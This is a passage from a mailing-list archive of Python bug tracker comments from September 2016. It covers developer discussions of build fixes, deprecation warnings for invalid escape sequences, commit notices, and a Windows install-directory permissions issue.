 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473980676.13.0.902199354895.issue27806@psf.upfronthosting.co.za>


Jeremy Sequoia added the comment:

Correction (bugfix and Tiger-compat):

#if __has_include(<Availability.h>)
#include <Availability.h>
#define APPLE_SUPPORTS_QUICKTIME (__MAC_OS_X_VERSION_MAX_ALLOWED < 101200) && !__LP64__
#else
#define APPLE_SUPPORTS_QUICKTIME !__LP64__
#endif

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:11:25 2016
From: report at bugs.python.org (sashk)
Date: Thu, 15 Sep 2016 23:11:25 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473981085.54.0.969693534281.issue27806@psf.upfronthosting.co.za>


sashk added the comment:

> You should really have a central config

I planned to, but didn't find any existing place to put it into. Any suggestions?  

I'll provide updated version of the patch sometime tomorrow.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:21:52 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 23:21:52 +0000
Subject: [issue10213] tests shouldn't fail with unset timezone
In-Reply-To: <1288180286.09.0.61662115749.issue10213@psf.upfronthosting.co.za>
Message-ID: <1473981712.87.0.880149562068.issue10213@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10213>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:27:40 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 23:27:40 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473982060.09.0.924474677913.issue27806@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> didn't find any existing place to put it into. Any suggestions?

I would put it in Include/pymacconfig.h.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:32:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 23:32:00 +0000
Subject: [issue27759] selectors incorrectly retain invalid file descriptors
In-Reply-To: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za>
Message-ID: <20160915233156.99644.23802.C0932C6A@psf.io>


Roundup Robot added the comment:

New changeset 8944fd09b9ca by Yury Selivanov in branch '3.5':
Issue #27759: Fix selectors incorrectly retain invalid file descriptors.
https://hg.python.org/cpython/rev/8944fd09b9ca

New changeset 08a75f380699 by Yury Selivanov in branch '3.6':
Merge 3.5 (issue #27759)
https://hg.python.org/cpython/rev/08a75f380699

New changeset ded64b96a4e7 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #27759)
https://hg.python.org/cpython/rev/ded64b96a4e7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27759>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:33:00 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 23:33:00 +0000
Subject: [issue27759] selectors incorrectly retain invalid file descriptors
In-Reply-To: <1471134409.41.0.274513488512.issue27759@psf.upfronthosting.co.za>
Message-ID: <1473982380.81.0.839087044586.issue27759@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I've fixed the remaining review comments & committed the patch.  Thank you Mark!

BTW, this also fixes http://bugs.python.org/issue27386.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27759>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:43:27 2016
From: report at bugs.python.org (Tim Graham)
Date: Thu, 15 Sep 2016 23:43:27 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473983007.21.0.337457629012.issue28128@psf.upfronthosting.co.za>


Tim Graham added the comment:

I hope the message can be improved for Python 3.6 as the warnings I see when running Django's test suite are rather useless to help find and fix the issues:

cpython/Lib/importlib/_bootstrap.py:205: DeprecationWarning: invalid escape sequence '\:'

Grepping for these characters patterns to try to figure out where they come from is quite difficult.

I did track down one instance in a docstring:
https://github.com/django/django/blob/82f8996785751c413e3b4ac12bf387f781c200d8/django/contrib/gis/maps/google/__init__.py#L41

Is the correct resolution to add an r prefix to the string? It could be nice if the release notes contained some guidance on that.

----------
nosy: +Tim.Graham

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:46:41 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 23:46:41 +0000
Subject: [issue27386] Asyncio server hang when clients connect and immediately
 disconnect
In-Reply-To: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za>
Message-ID: <1473983201.51.0.310976521571.issue27386@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

It looks like this was fixed by #27759!.  Jim, could you please verify?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27386>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:59:10 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 23:59:10 +0000
Subject: [issue26797] Segafault in _PyObject_Alloc
In-Reply-To: <1461004554.65.0.108278995171.issue26797@psf.upfronthosting.co.za>
Message-ID: <1473983950.84.0.445283946525.issue26797@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Closing this one. Haven't seen this in a while, probably it was a bug in libuv.

----------
resolution:  -> works for me
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26797>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:03:55 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 00:03:55 +0000
Subject: [issue26797] Segafault in _PyObject_Alloc
In-Reply-To: <1461004554.65.0.108278995171.issue26797@psf.upfronthosting.co.za>
Message-ID: <1473984235.36.0.868780431332.issue26797@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Closing this one. Haven't seen this in a while, probably it was a bug in libuv.

I told you so! :-D

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26797>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:05:32 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 16 Sep 2016 00:05:32 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473984332.74.0.288883701931.issue28158@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I'm going to commit this patch tomorrow.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:13:42 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 16 Sep 2016 00:13:42 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473984822.04.0.297305153127.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

There definitely needs to be a better message for that. The problem is that the parser doesn't have access to the whole string (of course; it's being constructed!), so I think there are several possible venues here:

- Change DeprecationWarning to display the line which is faulty (unlikely);
- Promote these specific warnings to SyntaxErrors *only* if the warning is an error (i.e. Python was run with -W error), in which case the compilation of code is stopped either way, so there is no drawback (but only being a syntax error "sometimes" is likely to confuse people);
- Use a different warning class, but presumably we'd need a new one and we can't do that now since we're in beta (unless Ned thinks this is appropriate, but I doubt it).

Anything else, maybe? I'm sure there is a way to properly fix it; my personal favourite all things considered is the second option (which I've thought over and over recently), but I'm open to other, less intrusive alternatives.

My intention is to make this deprecation the least painful possible for application and third-party library developers. As such, I think adding a note to the docs (possibly in What's New, but probably also under a few other related places) is good, and probably doing a preemptive SO question+answer for people who stumble upon this.

I've added to nosy a couple of people whose feedback I believe could be very helpful.

----------
nosy: +brett.cannon, ncoghlan, rhettinger, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:14:29 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 00:14:29 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473984332.74.0.288883701931.issue28158@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYbJ7vH9DAFNEAFsSLUt5hvQJpVyafi6M0H6YYjfzH3_g@mail.gmail.com>


STINNER Victor added the comment:

Can you please post results of the performance benchmark suite?

If you give me more time, I can review the patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:18:12 2016
From: report at bugs.python.org (Tim Graham)
Date: Fri, 16 Sep 2016 00:18:12 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473985092.67.0.737014093263.issue22493@psf.upfronthosting.co.za>


Tim Graham added the comment:

Adding an updated patch.

I guess the (?i:CaseInsensitive) syntax isn't merged yet? I tried it but it didn't work. It might be premature to proceed with this deprecation if that alternative isn't already present. Is there an issue for it?

----------
Added file: http://bugs.python.org/file44680/better-warning-2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:30:24 2016
From: report at bugs.python.org (Samuel Bronson)
Date: Fri, 16 Sep 2016 00:30:24 +0000
Subject: [issue1284316] Win32: Security problem with default installation
 directory
Message-ID: <1473985824.76.0.150548017953.issue1284316@psf.upfronthosting.co.za>


Samuel Bronson added the comment:

Um, you know this still affects Python 2.7 right?

Yes, I realize that it's not going to be very practical to change the default installation path for 2.7, but that doesn't make the issue disappear, nor is that the only way to close the hole.

Which is to say, the 2.7 installer should be changed to tighten the permissions on the installation directory when doing an "all-users" install (even if the directory already exists, though in that case it might make sense for it to be optional).

(I suppose the same logic applies to any other version < 3.5 that's still getting security updates, too?)


P.S. Does this count as CVE-2012-5379, even though that was reported against ActiveState's distribution?

I'm pretty sure it's an instance of CWE-276 <https://cwe.mitre.org/data/definitions/276.html>, at any rate.

----------
nosy: +SamB
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1284316>
_______________________________________

From report at bugs.python.org  Thu Sep 15 20:58:24 2016
From: report at bugs.python.org (Matthew Barnett)
Date: Fri, 16 Sep 2016 00:58:24 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473987504.78.0.938515707967.issue22493@psf.upfronthosting.co.za>


Matthew Barnett added the comment:

I downloaded Python 3.6.0b1 not long after it was released and it works for me:

>>> re.match('(?i:CaseInsensitive)', 'caseinsensitive')
<_sre.SRE_Match object; span=(0, 15), match='caseinsensitive'>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:12:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 01:12:24 +0000
Subject: [issue24366] Simple indentation
In-Reply-To: <20150602225541.22892.85980@psf.io>
Message-ID: <20160916011221.15260.63699.8E6BCF67@psf.io>


Roundup Robot added the comment:

New changeset 8aa93fd7db2d by Martin Panter in branch '2.7':
Issue #24366: Fix indentation
https://hg.python.org/cpython/rev/8aa93fd7db2d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24366>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:12:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 01:12:24 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <20160916011221.15260.35688.85E461F2@psf.io>


Roundup Robot added the comment:

New changeset 2a97b5ab6132 by Martin Panter in branch '2.7':
Issue #28145: Spelling fixes
https://hg.python.org/cpython/rev/2a97b5ab6132

New changeset 02dd99aeba7d by Martin Panter in branch '3.5':
Issue #28145: Spelling fixes
https://hg.python.org/cpython/rev/02dd99aeba7d

New changeset 87de1f12c41c by Martin Panter in branch '3.6':
Issue #28145: Merge spelling fixes from 3.5 into 3.6
https://hg.python.org/cpython/rev/87de1f12c41c

New changeset 4a35699e7b05 by Martin Panter in branch 'default':
Issue #28145: Merge spelling fixes from 3.6
https://hg.python.org/cpython/rev/4a35699e7b05

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:34:33 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:34:33 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1473989673.07.0.0309881851661.issue28143@psf.upfronthosting.co.za>


Martin Panter added the comment:

It seems a terrible idea to require Python 3 to be installed in order to regenerate the boot files for a Python 2 build. Maybe if we can figure out the minimum installed Python version expected for these ASDL scripts in 2.7, and maintain that while adding Python 3 support. But even that seems risky.

Your changes obviously make the files incompatible with Python 2:

print()  # Prints an empty tuple
print("Error visiting", repr(object))  # Prints a 2-tuple
f = open(p, "w")  # Writes CRLFs on Windows (I think; it?s been a while)

If we do go down this road, it may be worth looking at what has already been done to the corresponding scripts in Python 3.

But you may not actually need to regenerate the files. If you are building from the source directory, try ?make touch? after generating the makefile. In general, try ?touch Include/Python-ast.h Python/Python-ast.c?.

I would like to see this be made easier for both Python 2 and 3. I suggested some other ideas in Issue 23404.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:36:56 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 16 Sep 2016 01:36:56 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1473989816.5.0.350181286516.issue28143@psf.upfronthosting.co.za>


R. David Murray added the comment:

Yes, by "fix this" I meant make it work under both python2 and python3.  But failing that, the status quo wins.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:39:04 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:39:04 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1473989944.93.0.615570888469.issue28139@psf.upfronthosting.co.za>


Martin Panter added the comment:

.
I found more messed up indentation looking through Antoine?s large ?untabify? commit r81029. These don?t trigger compiler warnings, but I think it may be worth restoring them.

----------
nosy: +martin.panter
stage: resolved -> patch review
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:40:46 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 16 Sep 2016 01:40:46 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473990046.3.0.963767569719.issue28128@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Adding a "DeprecatedSyntaxWarning" that's a subclass of both DeprecationWarning and SyntaxWarning (and hence silenced by default while still having the extra SyntaxWarning attributes) strikes me as a reasonable step to take here, even though we're into the beta period already - if we couldn't effectively respond to this kind of pre-release usability feedback, the beta period would be nowhere near as effective.

Ideally, this would also let you hook into the same system that ensures syntax warnings are correctly attributed to the code containing them from a warning filter perspective, rather than the import statement triggering the compilation. One possible way to do that would be to postpone generating this error to a later stage of the code generation pipeline rather than doing it directly in the parser.

Otherwise folks trying to constrain "-Werror" to just their own code and not their dependencies are going to have a bad time of it. If we find we can't readily fix that aspect of the change, then I'd go so far as proposing to revert it and trying again for 3.7. If we do find we need to take that step, we could still encourage linter developers to start complaining about unknown escapes during the 3.6 cycle.

P.S. As general background, the "No new features after beta 1" rule is more accurately written as "No new features after beta 1, *except* for features needed to resolve usability problems reported with changes that already landed in beta 1". The biggest one of those I've seen was the PEP 492 implementation for 3.5, where the implementation data model was originally still just "generators with a particular flag set" (similar to the 3.4 model), but the Tornado and Cython folks found that unworkable after the beta went out, so we made both the Python API and C API expose them as distinct classes with different attributes (cr_* instead of gi_*) and different ABCs that the asyncio checked for.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:40:46 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:40:46 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1473990046.49.0.749343481055.issue28143@psf.upfronthosting.co.za>


Martin Panter added the comment:

Another option I forgot to point out is that some of the other regeneration Python scripts (in Py 2 and/or 3; I forget which) have some autoconf magic to figure out the right installed python command to use. We should probably use that for Py 2?s ASDL script.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:47:48 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:47:48 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1473990468.61.0.82407367338.issue28139@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


Added file: http://bugs.python.org/file44683/indent.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:47:57 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:47:57 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1473990477.06.0.361653209077.issue28139@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


Added file: http://bugs.python.org/file44684/indent.py3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Thu Sep 15 21:56:08 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 01:56:08 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1473990968.18.0.711587794178.issue28134@psf.upfronthosting.co.za>


Martin Panter added the comment:

I agree the doc is far from perfect. The bit I was going off is just above <https://docs.python.org/3.5/library/socket.html#socket.socket.family>, saying ?these (read-only) attributes that correspond to the values given to the socket constructor?.

My instinct would be to clarify that for existing versions 2.7, 3.5, etc, that the constructor arguments are _not_ ignored and should correspond to the file descriptor. Then in the next Python version we can make it more automatic using the getsockopt() techniques.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:01:07 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 16 Sep 2016 02:01:07 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473991267.33.0.616200493157.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thank you Nick for the useful feedback! I think that a subclass of DeprecationWarning and SyntaxWarning would be a good idea; I'll play around with that.

As far as when the warning should occur, I agree that erroring out at the compile step isn't optimal, however (AFAIK) strings aren't checked again once they've been created; they're assumed to be correct (and checking them at runtime would presumably add a performance hit to *all* strings, which I think is too big a price to pay).

On the other hand, a way to ignore invalid escapes in certain files could be considered, but we need to be somewhat careful since some people might choose to silence all warnings, thus defeating the purpose.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:02:55 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 16 Sep 2016 02:02:55 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473991375.53.0.0232064089491.issue28128@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

BTW, this will also help to make warnings more friendly in #26182.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:05:58 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 16 Sep 2016 02:05:58 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473991558.27.0.295122910967.issue28128@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I realised I wasn't entirely clear about the "warning misattribution" problem that's implied by Chi Hsuan's problem report, so here's the behaviour when using "-W all" rather than "-W error":

    $ echo "print('\d')" > bad_escape.py
    $ echo "import bad_escape" > escape_warning.py
    $ ./python -W all escape_warning.py 
    _frozen_importlib:205: DeprecationWarning: invalid escape sequence '\d'
    \d

That's a misattribution - the warning should be reported against the module being imported, not against the import system itself.

Compare that to the attribution of the old SyntaxWarning for assignments prior to a scope declaration:

    $ cat syntax_warning.py 
    def f():
        x = 1
        global x
    $ python3 -c "import syntax_warning" 
    /home/ncoghlan/devel/py36/syntax_warning.py:3: SyntaxWarning: name 'x' is assigned to before global declaration
      global x

(Run with 3.5, as that became a full SyntaxError for 3.6)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:09:11 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 02:09:11 +0000
Subject: [issue27348] traceback (and threading) drops exception message
In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za>
Message-ID: <1473991751.66.0.114620877352.issue27348@psf.upfronthosting.co.za>


Martin Panter added the comment:

I plan to commit this soon, in time for the next release.

----------
stage: patch review -> commit review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27348>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:18:56 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 16 Sep 2016 02:18:56 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473992336.44.0.599676040065.issue28128@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Regarding when I think the error should be generated, we definitely want the warning to be happening at compile time, but the "compile step" is actually a series of substeps.

The point where the string parser is processing string escapes is *not* the best place to complain about unrecognised ones, as it doesn't have the ability to report the appropriate context for where the offending string exists in the code base (hence this issue report, and the misattribution problem in the generated warning).

Instead, you probably want to look at delaying generation of the error until the point where AST Bytes and Str nodes are being generated for inclusion in the AST, as at that point the code generator has access to full file, line, and column information regarding the location of the problematic escape.

However, I also expect you'll run into a problem where you'll need to be able to embed *something* in the processed string that lets the latter stage of the pipeline detect that there was an unknown escape rather than a properly escaped usage of "\\" (which is presumably why the "immediate warning" approach was attempted first - it doesn't need that ability to communicate with the latter stage of the pipeline).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:26:50 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 16 Sep 2016 02:26:50 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473992810.61.0.663200976207.issue28128@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Hmm, I see; I'll need to dig a bit deeper get to and understand that part of the compile process better. I'll look up where SyntaxErrors are generated (since they have access to at least the line number at that point), and try to hook it up from there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:48:55 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 02:48:55 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473994135.81.0.0377106735748.issue15819@psf.upfronthosting.co.za>


Martin Panter added the comment:

Just to clarify, the current status is that the revision that Koobs identified is still in place, meaning that the AST files are regenerated into the build tree, not the source tree.

I don?t think there is much else to do for this bug, unless Koobs can provide more info why the Free BSD build could not find Python/Python-ast.c, or Roumen can get back with more info. Closing for the moment, but I am happy to help if I can resolve any problems that remain.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Thu Sep 15 22:55:12 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 16 Sep 2016 02:55:12 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473994512.7.0.848210026028.issue28128@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I've added Eric Smith to the nosy list as well, as he's been working on that part of the compilation pipeline for the f-string implementation.

Eric, the context here is that the new deprecation warning for unknown escapes is currently being misattributed to the code doing the compilation rather than to the code containing the offending (non-)escape sequence.

That's making it difficult for folks to act effectively on the warnings when they receive them, and also poses problems for correctly filtering out warnings coming from code in dependencies rather than an application's own code.

----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 23:01:37 2016
From: report at bugs.python.org (Masayuki Yamamoto)
Date: Fri, 16 Sep 2016 03:01:37 +0000
Subject: [issue27374] Cygwin: Makefile does not install DLL import library
In-Reply-To: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za>
Message-ID: <1473994897.24.0.312800115245.issue27374@psf.upfronthosting.co.za>


Masayuki Yamamoto added the comment:

I found -L option addition at Lib/distutils/command/build_ext.py:222.  This place is a process that finalize options for the build_ext command.
Comment in there: for extensions under Cygwin and AtheOS Python's library directory must be appended to library_dirs

After that I searched Makefile rule for installing $(LDLIBRARY) into "$(prefix)/lib/python3.5/config-3.5m" to look for way of simplifying code.  And I came across the $(LIBPL) configuration variable that is used by installation of the configuration for building library.
Hence I made a patch that adds to library_dirs the $(LIBPL) configuration variable instead of the "$(prefix)/lib/python$(VERSION)/config".  I succeeded to build '_speedups' C extension module of simplejson using new python that is applied this patch.
Erik, Would you be able to verify this patch?
Thanks

Build log:
$ patch -p1 <3.5-issue27374-distutils-build_ext.patch
$ ./configure --prefix=/opt/py35 --with-threads --with-dbmliborder=gdbm --with-system-ffi --with-system-expat
$ make touch && make -j2 && make altinstall
$ /opt/py35/bin/python3.5 -V
Python 3.5.2+
$ LANG=C /opt/py35/bin/pip3.5 install -v simplejson
(snip)
running build_ext
building 'simplejson._speedups' extension
creating build/temp.cygwin-2.6.0-i686-3.5
creating build/temp.cygwin-2.6.0-i686-3.5/simplejson
gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -I/opt/py35/include/python3.5m -c simplejson/_speedups.c -o build/temp.cygwin-2.6.0-i686-3.5/simplejson/_speedups.o
gcc -shared -Wl,--enable-auto-image-base build/temp.cygwin-2.6.0-i686-3.5/simplejson/_speedups.o -L/opt/py35/lib/python3.5/config-3.5m -L/opt/py35/lib -lpython3.5m -o build/lib.cygwin-2.6.0-i686-3.5/simplejson/_speedups.cpython-35m.dll
running install_lib
(snip)

----------
Added file: http://bugs.python.org/file44685/3.5-issue27374-distutils-build_ext.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27374>
_______________________________________

From report at bugs.python.org  Thu Sep 15 23:06:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 16 Sep 2016 03:06:29 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <20160916030626.32190.4344.B1786D26@psf.io>


Roundup Robot added the comment:

